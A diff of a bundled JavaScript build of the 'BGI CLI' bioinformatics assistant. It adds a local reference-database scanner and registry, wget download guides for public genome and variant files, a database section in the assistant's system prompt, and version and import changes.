const clearSpinner = () => {
|
|
14278
|
+
if (spinnerCleared) return;
|
|
14279
|
+
spinnerCleared = true;
|
|
14280
|
+
clearInterval(spin);
|
|
14281
|
+
process.stdout.write("\r\x1B[2K");
|
|
14282
|
+
};
|
|
14080
14283
|
const onStream = isBash ? (chunk) => {
|
|
14081
14284
|
if (streamedLines >= MAX_STREAM_LINES) return;
|
|
14285
|
+
if (streamedLines === 0) {
|
|
14286
|
+
clearSpinner();
|
|
14287
|
+
process.stdout.write(`${label}
|
|
14288
|
+
`);
|
|
14289
|
+
}
|
|
14082
14290
|
const lines = chunk.split("\n");
|
|
14083
14291
|
for (let i2 = 0; i2 < lines.length; i2++) {
|
|
14084
14292
|
const line = lines[i2];
|
|
@@ -14098,19 +14306,8 @@ ${label}
|
|
|
14098
14306
|
}
|
|
14099
14307
|
}
|
|
14100
14308
|
} : void 0;
|
|
14101
|
-
if (!isBash) {
|
|
14102
|
-
spin = setInterval(() => {
|
|
14103
|
-
const secs = ((Date.now() - t0) / 1e3).toFixed(1);
|
|
14104
|
-
process.stdout.write(
|
|
14105
|
-
`\r ${source_default.cyan(SPIN_FRAMES[frame++ % SPIN_FRAMES.length])} ${source_default.dim(secs + "s")}`
|
|
14106
|
-
);
|
|
14107
|
-
}, 80);
|
|
14108
|
-
}
|
|
14109
14309
|
const result = await executeTool(tc.name, args, onStream);
|
|
14110
|
-
|
|
14111
|
-
clearInterval(spin);
|
|
14112
|
-
process.stdout.write("\r\x1B[2K");
|
|
14113
|
-
}
|
|
14310
|
+
clearSpinner();
|
|
14114
14311
|
const elapsed = ((Date.now() - t0) / 1e3).toFixed(1);
|
|
14115
14312
|
const doneIcon = result.error ? source_default.yellow("\u2717") : source_default.green("\u2713");
|
|
14116
14313
|
if (isBash && streamedLines > 0) {
|
|
@@ -14281,7 +14478,7 @@ function summarizeArgs(args) {
|
|
|
14281
14478
|
}
|
|
14282
14479
|
|
|
14283
14480
|
// src/prompt.ts
|
|
14284
|
-
function buildSystemPrompt() {
|
|
14481
|
+
function buildSystemPrompt(dbSection) {
|
|
14285
14482
|
return `You are **BGI CLI**, a specialized bioinformatics AI assistant built for Chinese biological researchers. You run inside a terminal and can execute code, read/write files, and run bash commands to help with real bioinformatics analysis tasks.
|
|
14286
14483
|
|
|
14287
14484
|
## Core Identity
|
|
@@ -14386,6 +14583,14 @@ Python tools are at: **${TOOLS_DIR}**
|
|
|
14386
14583
|
|
|
14387
14584
|
---
|
|
14388
14585
|
|
|
14586
|
+
## \u53C2\u8003\u6570\u636E\u5E93 & \u7D22\u5F15
|
|
14587
|
+
|
|
14588
|
+
${dbSection ?? "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09"}
|
|
14589
|
+
|
|
14590
|
+
**\u4F7F\u7528\u539F\u5219**\uFF1A\u5206\u6790\u65F6\u4F18\u5148\u4F7F\u7528\u5DF2\u6CE8\u518C\u7684\u672C\u5730\u6570\u636E\u5E93\u8DEF\u5F84\uFF0C\u65E0\u9700\u91CD\u590D\u4E0B\u8F7D\u3002\u8DEF\u5F84\u5E26 \u26A0 \u8868\u793A\u6587\u4EF6\u5DF2\u4E0D\u5B58\u5728\uFF0C\u9700\u91CD\u65B0\u786E\u8BA4\u3002
|
|
14591
|
+
|
|
14592
|
+
---
|
|
14593
|
+
|
|
14389
14594
|
## OpenClaw Medical Skills (979\u4E2A\u4E13\u79D1\u6280\u80FD)
|
|
14390
14595
|
|
|
14391
14596
|
\u6280\u80FD\u5E93\u4F4D\u4E8E: **${SKILLS_DIR}**
|
|
@@ -14538,6 +14743,273 @@ message(sprintf("\u603B\u57FA\u56E0\u6570: %d | \u663E\u8457 DEG: %d (\u4E0A\u8C
|
|
|
14538
14743
|
\u2192 \u7ACB\u5373\u8C03\u7528 fetch_geo("GSE12345") \u83B7\u53D6\u5143\u6570\u636E\u548C\u4E0B\u8F7D\u4EE3\u7801\uFF0C\u65E0\u9700\u8BA9\u7528\u6237\u624B\u52A8\u4E0B\u8F7D`;
|
|
14539
14744
|
}
|
|
14540
14745
|
|
|
14746
|
+
// src/databases.ts
|
|
14747
|
+
var import_fs4 = require("fs");
|
|
14748
|
+
var import_path4 = require("path");
|
|
14749
|
+
var import_os3 = require("os");
|
|
14750
|
+
function loadDbRegistry() {
|
|
14751
|
+
if (!(0, import_fs4.existsSync)(DATABASES_FILE)) {
|
|
14752
|
+
return { version: 1, lastScan: null, databases: {} };
|
|
14753
|
+
}
|
|
14754
|
+
try {
|
|
14755
|
+
return JSON.parse((0, import_fs4.readFileSync)(DATABASES_FILE, "utf8"));
|
|
14756
|
+
} catch {
|
|
14757
|
+
return { version: 1, lastScan: null, databases: {} };
|
|
14758
|
+
}
|
|
14759
|
+
}
|
|
14760
|
+
function saveDbRegistry(registry) {
|
|
14761
|
+
(0, import_fs4.writeFileSync)(DATABASES_FILE, JSON.stringify(registry, null, 2), "utf8");
|
|
14762
|
+
}
|
|
14763
|
+
function addDbEntry(registry, entry) {
|
|
14764
|
+
const id = entry.id ?? slugify(`${entry.genome}-${entry.type}-${Date.now()}`);
|
|
14765
|
+
const full = { ...entry, id, addedAt: (/* @__PURE__ */ new Date()).toISOString() };
|
|
14766
|
+
registry.databases[id] = full;
|
|
14767
|
+
return full;
|
|
14768
|
+
}
|
|
14769
|
+
function removeDbEntry(registry, id) {
|
|
14770
|
+
if (!registry.databases[id]) return false;
|
|
14771
|
+
delete registry.databases[id];
|
|
14772
|
+
return true;
|
|
14773
|
+
}
|
|
14774
|
+
function slugify(s2) {
|
|
14775
|
+
return s2.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
|
|
14776
|
+
}
|
|
14777
|
+
var FILE_PATTERNS = [
|
|
14778
|
+
// Reference FASTA
|
|
14779
|
+
{ regex: /\bhg38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
|
|
14780
|
+
{ regex: /\bGRCh38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
|
|
14781
|
+
{ regex: /\bhg19\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
|
|
14782
|
+
{ regex: /\bGRCh37\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
|
|
14783
|
+
{ regex: /\bmm10\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
|
|
14784
|
+
{ regex: /\bGRCm38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
|
|
14785
|
+
{ regex: /\bmm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
|
|
14786
|
+
{ regex: /\bGRCm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
|
|
14787
|
+
{ regex: /\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "other" },
|
|
14788
|
+
// GTF / GFF
|
|
14789
|
+
{ regex: /\bhg38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
|
|
14790
|
+
{ regex: /\bGRCh38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
|
|
14791
|
+
{ regex: /\bhg19\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg19" },
|
|
14792
|
+
{ regex: /\bmm10\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "mm10" },
|
|
14793
|
+
{ regex: /\.gtf(\.gz)?$/i, type: "gtf", genome: "other" },
|
|
14794
|
+
{ regex: /\.gff3?(\.gz)?$/i, type: "gff3", genome: "other" },
|
|
14795
|
+
// VCF databases
|
|
14796
|
+
{ regex: /dbsnp.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14797
|
+
{ regex: /clinvar.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14798
|
+
{ regex: /gnomad.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14799
|
+
{ regex: /mills.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14800
|
+
{ regex: /1000G.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14801
|
+
{ regex: /hapmap.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14802
|
+
// BED
|
|
14803
|
+
{ regex: /\.(bed|bed\.gz)$/i, type: "bed", genome: "other" }
|
|
14804
|
+
];
|
|
14805
|
+
var DIR_PATTERNS = [
|
|
14806
|
+
{ regex: /star.*index|star_genome/i, type: "star_index", indicator: "Genome.sjdbInfo.txt" },
|
|
14807
|
+
{ regex: /hisat2.*index/i, type: "hisat2_index", indicator: ".ht2" },
|
|
14808
|
+
{ regex: /salmon.*index/i, type: "salmon_index", indicator: "info.json" },
|
|
14809
|
+
{ regex: /kraken2?/i, type: "kraken2_db", indicator: "hash.k2d" },
|
|
14810
|
+
{ regex: /diamond/i, type: "diamond_db", indicator: ".dmnd" },
|
|
14811
|
+
{ regex: /blast_db|blastdb/i, type: "blast_db", indicator: ".nsq" }
|
|
14812
|
+
];
|
|
14813
|
+
function defaultSearchRoots() {
|
|
14814
|
+
const home = (0, import_os3.homedir)();
|
|
14815
|
+
const roots = [
|
|
14816
|
+
"/data",
|
|
14817
|
+
"/ref",
|
|
14818
|
+
"/reference",
|
|
14819
|
+
"/genomes",
|
|
14820
|
+
"/databases",
|
|
14821
|
+
"/db",
|
|
14822
|
+
"/lustre",
|
|
14823
|
+
"/GPFS",
|
|
14824
|
+
"/scratch",
|
|
14825
|
+
"/work",
|
|
14826
|
+
"/shared",
|
|
14827
|
+
(0, import_path4.join)(home, "databases"),
|
|
14828
|
+
(0, import_path4.join)(home, "data"),
|
|
14829
|
+
(0, import_path4.join)(home, "reference"),
|
|
14830
|
+
(0, import_path4.join)(home, "ref"),
|
|
14831
|
+
process.cwd()
|
|
14832
|
+
];
|
|
14833
|
+
return roots.filter((r2) => (0, import_fs4.existsSync)(r2));
|
|
14834
|
+
}
|
|
14835
|
+
function detectGenomeFromPath(path) {
|
|
14836
|
+
const p2 = path.toLowerCase();
|
|
14837
|
+
if (p2.includes("hg38") || p2.includes("grch38")) return "hg38";
|
|
14838
|
+
if (p2.includes("hg19") || p2.includes("grch37") || p2.includes("b37")) return "hg19";
|
|
14839
|
+
if (p2.includes("mm10") || p2.includes("grcm38")) return "mm10";
|
|
14840
|
+
if (p2.includes("mm39") || p2.includes("grcm39")) return "mm39";
|
|
14841
|
+
if (p2.includes("rn7")) return "rn7";
|
|
14842
|
+
if (p2.includes("dm6")) return "dm6";
|
|
14843
|
+
if (p2.includes("danrer")) return "danRer11";
|
|
14844
|
+
return "other";
|
|
14845
|
+
}
|
|
14846
|
+
function labelFor(type, genome, name) {
|
|
14847
|
+
const typeLabels = {
|
|
14848
|
+
fasta: "\u53C2\u8003\u57FA\u56E0\u7EC4 FASTA",
|
|
14849
|
+
gtf: "\u57FA\u56E0\u6CE8\u91CA GTF",
|
|
14850
|
+
gff3: "\u57FA\u56E0\u6CE8\u91CA GFF3",
|
|
14851
|
+
vcf: "VCF \u53D8\u5F02\u6570\u636E\u5E93",
|
|
14852
|
+
bed: "BED \u533A\u57DF\u6587\u4EF6",
|
|
14853
|
+
star_index: "STAR \u6BD4\u5BF9\u7D22\u5F15",
|
|
14854
|
+
hisat2_index: "HISAT2 \u6BD4\u5BF9\u7D22\u5F15",
|
|
14855
|
+
bwa_index: "BWA \u6BD4\u5BF9\u7D22\u5F15",
|
|
14856
|
+
bowtie2_index: "Bowtie2 \u6BD4\u5BF9\u7D22\u5F15",
|
|
14857
|
+
salmon_index: "Salmon \u5B9A\u91CF\u7D22\u5F15",
|
|
14858
|
+
kraken2_db: "Kraken2 \u5B8F\u57FA\u56E0\u7EC4\u5E93",
|
|
14859
|
+
diamond_db: "DIAMOND \u86CB\u767D\u5E93",
|
|
14860
|
+
blast_db: "BLAST \u6570\u636E\u5E93",
|
|
14861
|
+
other: "\u6570\u636E\u5E93"
|
|
14862
|
+
};
|
|
14863
|
+
const genomeLabel = genome !== "other" ? ` (${genome})` : "";
|
|
14864
|
+
return `${typeLabels[type]}${genomeLabel} \u2014 ${name}`;
|
|
14865
|
+
}
|
|
14866
|
+
function scanForDatabases(extraRoots = []) {
|
|
14867
|
+
const roots = [...defaultSearchRoots(), ...extraRoots.map((r2) => (0, import_path4.resolve)(r2))];
|
|
14868
|
+
const found = [];
|
|
14869
|
+
const seen = /* @__PURE__ */ new Set();
|
|
14870
|
+
let skippedDirs = 0;
|
|
14871
|
+
function walk(dir, depth) {
|
|
14872
|
+
if (depth > 4) return;
|
|
14873
|
+
let entries;
|
|
14874
|
+
try {
|
|
14875
|
+
entries = (0, import_fs4.readdirSync)(dir);
|
|
14876
|
+
} catch {
|
|
14877
|
+
skippedDirs++;
|
|
14878
|
+
return;
|
|
14879
|
+
}
|
|
14880
|
+
for (const name of entries) {
|
|
14881
|
+
if (name.startsWith(".")) continue;
|
|
14882
|
+
const fullPath = (0, import_path4.join)(dir, name);
|
|
14883
|
+
let stat;
|
|
14884
|
+
try {
|
|
14885
|
+
stat = (0, import_fs4.statSync)(fullPath);
|
|
14886
|
+
} catch {
|
|
14887
|
+
continue;
|
|
14888
|
+
}
|
|
14889
|
+
if (stat.isDirectory()) {
|
|
14890
|
+
for (const dp of DIR_PATTERNS) {
|
|
14891
|
+
if (dp.regex.test(name)) {
|
|
14892
|
+
if (!dp.indicator || (0, import_fs4.readdirSync)(fullPath).some((f2) => f2.endsWith(dp.indicator))) {
|
|
14893
|
+
const genome = detectGenomeFromPath(fullPath);
|
|
14894
|
+
const id = slugify(`${genome}-${dp.type}-${(0, import_path4.basename)(fullPath)}`);
|
|
14895
|
+
if (!seen.has(fullPath)) {
|
|
14896
|
+
seen.add(fullPath);
|
|
14897
|
+
found.push({
|
|
14898
|
+
id,
|
|
14899
|
+
genome,
|
|
14900
|
+
type: dp.type,
|
|
14901
|
+
path: fullPath,
|
|
14902
|
+
label: labelFor(dp.type, genome, name),
|
|
14903
|
+
addedAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
14904
|
+
source: "scan"
|
|
14905
|
+
});
|
|
14906
|
+
}
|
|
14907
|
+
break;
|
|
14908
|
+
}
|
|
14909
|
+
}
|
|
14910
|
+
}
|
|
14911
|
+
if (!DIR_PATTERNS.some((dp) => dp.regex.test(name))) {
|
|
14912
|
+
try {
|
|
14913
|
+
const sub = (0, import_fs4.readdirSync)(fullPath);
|
|
14914
|
+
if (sub.some((f2) => f2.endsWith(".bwt")) && sub.some((f2) => f2.endsWith(".ann"))) {
|
|
14915
|
+
const genome = detectGenomeFromPath(fullPath);
|
|
14916
|
+
const id = slugify(`${genome}-bwa_index-${(0, import_path4.basename)(fullPath)}`);
|
|
14917
|
+
if (!seen.has(fullPath)) {
|
|
14918
|
+
seen.add(fullPath);
|
|
14919
|
+
found.push({ id, genome, type: "bwa_index", path: fullPath, label: labelFor("bwa_index", genome, name), addedAt: (/* @__PURE__ */ new Date()).toISOString(), source: "scan" });
|
|
14920
|
+
}
|
|
14921
|
+
}
|
|
14922
|
+
} catch {
|
|
14923
|
+
}
|
|
14924
|
+
walk(fullPath, depth + 1);
|
|
14925
|
+
}
|
|
14926
|
+
} else if (stat.isFile()) {
|
|
14927
|
+
for (const fp of FILE_PATTERNS) {
|
|
14928
|
+
if (fp.regex.test(name)) {
|
|
14929
|
+
const genome = fp.genome === "other" ? detectGenomeFromPath(fullPath) : fp.genome;
|
|
14930
|
+
const id = slugify(`${genome}-${fp.type}-${name.replace(/\.gz$/, "").replace(/\.[^.]+$/, "")}`);
|
|
14931
|
+
if (!seen.has(fullPath)) {
|
|
14932
|
+
seen.add(fullPath);
|
|
14933
|
+
found.push({
|
|
14934
|
+
id,
|
|
14935
|
+
genome,
|
|
14936
|
+
type: fp.type,
|
|
14937
|
+
path: fullPath,
|
|
14938
|
+
label: labelFor(fp.type, genome, name),
|
|
14939
|
+
sizeBytes: stat.size,
|
|
14940
|
+
addedAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
14941
|
+
source: "scan"
|
|
14942
|
+
});
|
|
14943
|
+
}
|
|
14944
|
+
break;
|
|
14945
|
+
}
|
|
14946
|
+
}
|
|
14947
|
+
}
|
|
14948
|
+
}
|
|
14949
|
+
}
|
|
14950
|
+
for (const root of new Set(roots)) {
|
|
14951
|
+
walk(root, 0);
|
|
14952
|
+
}
|
|
14953
|
+
return { found, skippedDirs };
|
|
14954
|
+
}
|
|
14955
|
+
function buildDbPromptSection(registry) {
|
|
14956
|
+
const entries = Object.values(registry.databases);
|
|
14957
|
+
if (entries.length === 0) {
|
|
14958
|
+
return "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09";
|
|
14959
|
+
}
|
|
14960
|
+
const byGenome = {};
|
|
14961
|
+
for (const e2 of entries) {
|
|
14962
|
+
(byGenome[e2.genome] ??= []).push(e2);
|
|
14963
|
+
}
|
|
14964
|
+
const lines = [];
|
|
14965
|
+
for (const [genome, dbs] of Object.entries(byGenome).sort()) {
|
|
14966
|
+
lines.push(`### ${genome}`);
|
|
14967
|
+
for (const db of dbs.sort((a2, b2) => a2.type.localeCompare(b2.type))) {
|
|
14968
|
+
const exists = (0, import_fs4.existsSync)(db.path) ? "" : " \u26A0(\u8DEF\u5F84\u4E0D\u5B58\u5728)";
|
|
14969
|
+
const size = db.sizeBytes ? ` [${(db.sizeBytes / 1e9).toFixed(1)}GB]` : "";
|
|
14970
|
+
lines.push(`- **${db.label}** (\`${db.type}\`): \`${db.path}\`${size}${exists}`);
|
|
14971
|
+
}
|
|
14972
|
+
lines.push("");
|
|
14973
|
+
}
|
|
14974
|
+
return lines.join("\n").trim();
|
|
14975
|
+
}
|
|
14976
|
+
var DOWNLOAD_GUIDES = {
|
|
14977
|
+
"hg38-fasta": {
|
|
14978
|
+
label: "GRCh38 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
|
|
14979
|
+
cmds: [
|
|
14980
|
+
"wget https://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/hg38.fa.gz",
|
|
14981
|
+
"gunzip hg38.fa.gz && samtools faidx hg38.fa"
|
|
14982
|
+
]
|
|
14983
|
+
},
|
|
14984
|
+
"hg19-fasta": {
|
|
14985
|
+
label: "GRCh37/hg19 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
|
|
14986
|
+
cmds: [
|
|
14987
|
+
"wget https://hgdownload.soe.ucsc.edu/goldenPath/hg19/bigZips/hg19.fa.gz",
|
|
14988
|
+
"gunzip hg19.fa.gz && samtools faidx hg19.fa"
|
|
14989
|
+
]
|
|
14990
|
+
},
|
|
14991
|
+
"mm10-fasta": {
|
|
14992
|
+
label: "GRCm38/mm10 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
|
|
14993
|
+
cmds: ["wget https://hgdownload.soe.ucsc.edu/goldenPath/mm10/bigZips/mm10.fa.gz"]
|
|
14994
|
+
},
|
|
14995
|
+
"hg38-gtf": {
|
|
14996
|
+
label: "Ensembl hg38 \u57FA\u56E0\u6CE8\u91CA GTF",
|
|
14997
|
+
cmds: ["wget https://ftp.ensembl.org/pub/release-110/gtf/homo_sapiens/Homo_sapiens.GRCh38.110.gtf.gz"]
|
|
14998
|
+
},
|
|
14999
|
+
"hg38-dbsnp": {
|
|
15000
|
+
label: "dbSNP b156 VCF (hg38)",
|
|
15001
|
+
cmds: ["wget https://ftp.ncbi.nlm.nih.gov/snp/latest_release/VCF/GCF_000001405.40.gz"]
|
|
15002
|
+
},
|
|
15003
|
+
"hg38-clinvar": {
|
|
15004
|
+
label: "ClinVar VCF (hg38)",
|
|
15005
|
+
cmds: ["wget https://ftp.ncbi.nlm.nih.gov/pub/clinvar/vcf_GRCh38/clinvar.vcf.gz"]
|
|
15006
|
+
},
|
|
15007
|
+
"hg38-gnomad": {
|
|
15008
|
+
label: "gnomAD v4 sites VCF (hg38)",
|
|
15009
|
+
cmds: ["# See https://gnomad.broadinstitute.org/downloads for latest URLs"]
|
|
15010
|
+
}
|
|
15011
|
+
};
|
|
15012
|
+
|
|
14541
15013
|
// src/skillRouter.ts
|
|
14542
15014
|
var SKILL_CATEGORIES = {
|
|
14543
15015
|
"\u8F6C\u5F55\u7EC4": { label: "\u8F6C\u5F55\u7EC4\u5B66 (Transcriptomics)", icon: "\u{1F9EC}" },
|
|
@@ -15285,17 +15757,17 @@ function routeSkill(message) {
|
|
|
15285
15757
|
}
|
|
15286
15758
|
|
|
15287
15759
|
// src/sessions.ts
|
|
15288
|
-
var
|
|
15289
|
-
var
|
|
15290
|
-
var SESSIONS_DIR = (0,
|
|
15291
|
-
var CHECKPOINTS_DIR = (0,
|
|
15760
|
+
var import_fs5 = require("fs");
|
|
15761
|
+
var import_path5 = require("path");
|
|
15762
|
+
var SESSIONS_DIR = (0, import_path5.join)(BGI_DIR, "sessions");
|
|
15763
|
+
var CHECKPOINTS_DIR = (0, import_path5.join)(BGI_DIR, "checkpoints");
|
|
15292
15764
|
function ensureSessionDirs() {
|
|
15293
15765
|
for (const d2 of [SESSIONS_DIR, CHECKPOINTS_DIR]) {
|
|
15294
|
-
if (!(0,
|
|
15766
|
+
if (!(0, import_fs5.existsSync)(d2)) (0, import_fs5.mkdirSync)(d2, { recursive: true });
|
|
15295
15767
|
}
|
|
15296
15768
|
}
|
|
15297
15769
|
function sessionPath(id) {
|
|
15298
|
-
return (0,
|
|
15770
|
+
return (0, import_path5.join)(SESSIONS_DIR, `${id}.json`);
|
|
15299
15771
|
}
|
|
15300
15772
|
function newSessionId() {
|
|
15301
15773
|
const now = /* @__PURE__ */ new Date();
|
|
@@ -15319,25 +15791,25 @@ function saveSession(id, name, messages, skills, createdAt) {
|
|
|
15319
15791
|
preview,
|
|
15320
15792
|
messages
|
|
15321
15793
|
};
|
|
15322
|
-
(0,
|
|
15794
|
+
(0, import_fs5.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
|
|
15323
15795
|
}
|
|
15324
15796
|
function loadSession(id) {
|
|
15325
15797
|
ensureSessionDirs();
|
|
15326
15798
|
const p2 = sessionPath(id);
|
|
15327
|
-
if (!(0,
|
|
15799
|
+
if (!(0, import_fs5.existsSync)(p2)) return null;
|
|
15328
15800
|
try {
|
|
15329
|
-
return JSON.parse((0,
|
|
15801
|
+
return JSON.parse((0, import_fs5.readFileSync)(p2, "utf8"));
|
|
15330
15802
|
} catch {
|
|
15331
15803
|
return null;
|
|
15332
15804
|
}
|
|
15333
15805
|
}
|
|
15334
15806
|
function listSessions() {
|
|
15335
15807
|
ensureSessionDirs();
|
|
15336
|
-
const files = (0,
|
|
15808
|
+
const files = (0, import_fs5.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
|
|
15337
15809
|
const metas = [];
|
|
15338
15810
|
for (const f2 of files) {
|
|
15339
15811
|
try {
|
|
15340
|
-
const raw = JSON.parse((0,
|
|
15812
|
+
const raw = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(SESSIONS_DIR, f2), "utf8"));
|
|
15341
15813
|
metas.push({
|
|
15342
15814
|
id: raw.id,
|
|
15343
15815
|
name: raw.name,
|
|
@@ -15354,8 +15826,8 @@ function listSessions() {
|
|
|
15354
15826
|
}
|
|
15355
15827
|
function deleteSession(id) {
|
|
15356
15828
|
const p2 = sessionPath(id);
|
|
15357
|
-
if (!(0,
|
|
15358
|
-
(0,
|
|
15829
|
+
if (!(0, import_fs5.existsSync)(p2)) return false;
|
|
15830
|
+
(0, import_fs5.unlinkSync)(p2);
|
|
15359
15831
|
return true;
|
|
15360
15832
|
}
|
|
15361
15833
|
function getLastSession() {
|
|
@@ -15363,7 +15835,7 @@ function getLastSession() {
|
|
|
15363
15835
|
return all[0] ?? null;
|
|
15364
15836
|
}
|
|
15365
15837
|
function checkpointPath(id) {
|
|
15366
|
-
return (0,
|
|
15838
|
+
return (0, import_path5.join)(CHECKPOINTS_DIR, `${id}.json`);
|
|
15367
15839
|
}
|
|
15368
15840
|
function saveCheckpoint(sessionId, label, messages, skills) {
|
|
15369
15841
|
ensureSessionDirs();
|
|
@@ -15377,16 +15849,16 @@ function saveCheckpoint(sessionId, label, messages, skills) {
|
|
|
15377
15849
|
messages,
|
|
15378
15850
|
skills
|
|
15379
15851
|
};
|
|
15380
|
-
(0,
|
|
15852
|
+
(0, import_fs5.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
|
|
15381
15853
|
return id;
|
|
15382
15854
|
}
|
|
15383
15855
|
function listCheckpoints(sessionId) {
|
|
15384
15856
|
ensureSessionDirs();
|
|
15385
|
-
const files = (0,
|
|
15857
|
+
const files = (0, import_fs5.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
|
|
15386
15858
|
const cps = [];
|
|
15387
15859
|
for (const f2 of files) {
|
|
15388
15860
|
try {
|
|
15389
|
-
const cp = JSON.parse((0,
|
|
15861
|
+
const cp = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(CHECKPOINTS_DIR, f2), "utf8"));
|
|
15390
15862
|
if (!sessionId || cp.sessionId === sessionId) cps.push(cp);
|
|
15391
15863
|
} catch {
|
|
15392
15864
|
}
|
|
@@ -15395,8 +15867,8 @@ function listCheckpoints(sessionId) {
|
|
|
15395
15867
|
}
|
|
15396
15868
|
function deleteCheckpoint(id) {
|
|
15397
15869
|
const p2 = checkpointPath(id);
|
|
15398
|
-
if (!(0,
|
|
15399
|
-
(0,
|
|
15870
|
+
if (!(0, import_fs5.existsSync)(p2)) return false;
|
|
15871
|
+
(0, import_fs5.unlinkSync)(p2);
|
|
15400
15872
|
return true;
|
|
15401
15873
|
}
|
|
15402
15874
|
function clearCheckpoints(sessionId) {
|
|
@@ -15409,8 +15881,8 @@ function clearCheckpoints(sessionId) {
|
|
|
15409
15881
|
}
|
|
15410
15882
|
|
|
15411
15883
|
// src/index.ts
|
|
15412
|
-
var
|
|
15413
|
-
var VERSION2 = "2.2.
|
|
15884
|
+
var import_fs7 = require("fs");
|
|
15885
|
+
var VERSION2 = "2.2.16";
|
|
15414
15886
|
var SKILLHUB_HUBS = {
|
|
15415
15887
|
bgi: { label: "BGI\u5185\u7F51", apiBase: "https://clawhub.ai", backend: "clawhub" },
|
|
15416
15888
|
clawhub: { label: "clawhub.ai", apiBase: "https://clawhub.ai", backend: "clawhub" },
|
|
@@ -15418,13 +15890,13 @@ var SKILLHUB_HUBS = {
|
|
|
15418
15890
|
};
|
|
15419
15891
|
function httpGetJson(url) {
|
|
15420
15892
|
const mod = url.startsWith("https") ? import_https2.get : require("http").get;
|
|
15421
|
-
return new Promise((
|
|
15893
|
+
return new Promise((resolve4, reject) => {
|
|
15422
15894
|
const req = mod(url, { headers: { "User-Agent": `bgicli/${VERSION2}`, Accept: "application/json" } }, (res) => {
|
|
15423
15895
|
const chunks = [];
|
|
15424
15896
|
res.on("data", (c2) => chunks.push(c2));
|
|
15425
15897
|
res.on("end", () => {
|
|
15426
15898
|
try {
|
|
15427
|
-
|
|
15899
|
+
resolve4(JSON.parse(Buffer.concat(chunks).toString()));
|
|
15428
15900
|
} catch (e2) {
|
|
15429
15901
|
reject(new Error(`JSON parse error from ${url}`));
|
|
15430
15902
|
}
|
|
@@ -15465,7 +15937,7 @@ async function searchSkillHub(query, hub, limit2 = 10) {
|
|
|
15465
15937
|
}
|
|
15466
15938
|
}
|
|
15467
15939
|
async function downloadSkillMd(slug) {
|
|
15468
|
-
const data = await new Promise((
|
|
15940
|
+
const data = await new Promise((resolve4, reject) => {
|
|
15469
15941
|
const req = (0, import_https2.get)(
|
|
15470
15942
|
`https://clawhub.ai/api/v1/skills/${encodeURIComponent(slug)}/file?path=SKILL.md`,
|
|
15471
15943
|
{ headers: { "User-Agent": `bgicli/${VERSION2}` } },
|
|
@@ -15477,7 +15949,7 @@ async function downloadSkillMd(slug) {
|
|
|
15477
15949
|
}
|
|
15478
15950
|
const chunks = [];
|
|
15479
15951
|
res.on("data", (c2) => chunks.push(c2));
|
|
15480
|
-
res.on("end", () =>
|
|
15952
|
+
res.on("end", () => resolve4(Buffer.concat(chunks).toString()));
|
|
15481
15953
|
}
|
|
15482
15954
|
);
|
|
15483
15955
|
req.setTimeout(15e3, () => {
|
|
@@ -15499,7 +15971,7 @@ function isNewer(latest, current) {
|
|
|
15499
15971
|
async function checkAndAutoUpdate() {
|
|
15500
15972
|
let latest;
|
|
15501
15973
|
try {
|
|
15502
|
-
latest = await new Promise((
|
|
15974
|
+
latest = await new Promise((resolve4, reject) => {
|
|
15503
15975
|
const req = (0, import_https2.get)(
|
|
15504
15976
|
"https://registry.npmjs.org/@bgicli/bgicli/latest",
|
|
15505
15977
|
{ headers: { "User-Agent": `bgicli/${VERSION2}` } },
|
|
@@ -15508,7 +15980,7 @@ async function checkAndAutoUpdate() {
|
|
|
15508
15980
|
res.on("data", (c2) => chunks.push(c2));
|
|
15509
15981
|
res.on("end", () => {
|
|
15510
15982
|
try {
|
|
15511
|
-
|
|
15983
|
+
resolve4(JSON.parse(Buffer.concat(chunks).toString()).version);
|
|
15512
15984
|
} catch {
|
|
15513
15985
|
reject(new Error("parse"));
|
|
15514
15986
|
}
|
|
